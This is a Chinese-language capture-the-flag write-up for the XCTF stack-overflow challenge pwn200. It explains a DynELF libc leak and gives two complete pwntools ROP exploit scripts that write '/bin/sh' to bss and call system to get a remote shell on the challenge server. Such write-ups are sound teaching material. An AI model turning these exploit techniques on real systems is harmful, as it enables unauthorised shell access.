题目链接:攻防世界 (xctf.org.cn)
文件分析
文件本身也很简单
int __cdecl main()
{
char buf[108]; // [esp+2Ch] [ebp-6Ch] BYREF
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&buf[24], 0, 0x4Cu);
setbuf(stdout, buf);
write(1, buf, strlen(buf));
sub_8048484();
return 0;
}
ssize_t sub_8048484()
{
char buf[108]; // [esp+1Ch] [ebp-6Ch] BYREF
setbuf(stdin, buf);
return read(0, buf, 0x100u);
}
这里的read存在栈溢出,溢出点找到了下面是构造rop链。但是题目没有给libc文件,一种方法是根据文件去查libc,然后从官方下载对应的libc版本,还有一种就是利用pwntools里的DynELF,下面是DynELF利用的模板
leak得基本构造思路为:112*'A'+write_plt+(漏洞存在得函数的地址,便于反复利用)+1(write的第一个参数)+address(leak函数的参数,给DyELF使用)+4(write的参数,打印8位地址使用)
def leak(address):
payload='A'*junk+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4) #junk是溢出需要的字节
#write(1,address,4)表示将address向外写
r.send(payload)
data = r.recv(4)
print(data)
return data
dyn=DynELF(leak,elf=ELF('./pwn200'))#调用DynELF
sys_addr = dyn.lookup('system',libc)
print('system address:',hex(sys_addr))
还需要找pop的地址
ROPgadget --binary ./1 --only "pop|ret"
exp
整体的rop链,先利用DynELF泄露system的libc地址。然后控制程序到start函数恢复一下栈,利用read将'/bin/sh'写到bss段,read有三个参数所以返回前需要pop三次调整栈平衡,然后返回的地址覆盖为system,传入参数'/bin/sh'
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r=remote("61.147.171.105",57743)
start_addr=0x80483d0 #satrt的地址
func_addr=0x8048484 #有栈溢出漏洞函数的地址
elf=ELF("./1")
write_plt=elf.symbols['write']
read_plt=elf.symbols['read']
def leak(address):
payload='A'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
r.send(payload)
data=r.recv(4)
print(data)
return data
print r.recv()
dyn=DynELF(leak,elf=ELF('./1'))
sys_addr=dyn.lookup("system",'libc')
print("system address:",hex(sys_addr))
payload1='A'*112+p32(start_addr) #调用start函数恢复栈
r.send(payload1)
r.recv()
ppp_addr=0x080485cd #0x0804856c,0x080485cd
bss_addr=elf.bss()
payload2 ='A'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(func_addr)+p32(bss_addr)
r.send(payload2)
r.send('/bin/sh')
r.interactive()
另一种不需要start清栈的exp,read函数的三个参数中的前两个可以和system函数的返回地址和参数相吻合,就不用清栈了
from pwn import *
context(log_level='debug',arch='i386',os='linux')
r=remote("61.147.171.105",57743)
start_addr=0x80483d0
func_addr=0x8048484
elf=ELF("./1")
write_plt=elf.symbols['write']
read_plt=elf.symbols['read']
def leak(address):
payload='A'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
r.send(payload)
data=r.recv(4)
print(data)
return data
print r.recv()
dyn=DynELF(leak,elf=ELF('./1'))
sys_addr=dyn.lookup("system",'libc')
print("system address:",hex(sys_addr))
bss_addr=elf.bss()
payload2='A'*112+p32(read_plt)+p32(sys_addr)+p32(0)+p32(bss_addr)+p32(8)
r.send(payload2)
r.send('/bin/sh')
r.interactive()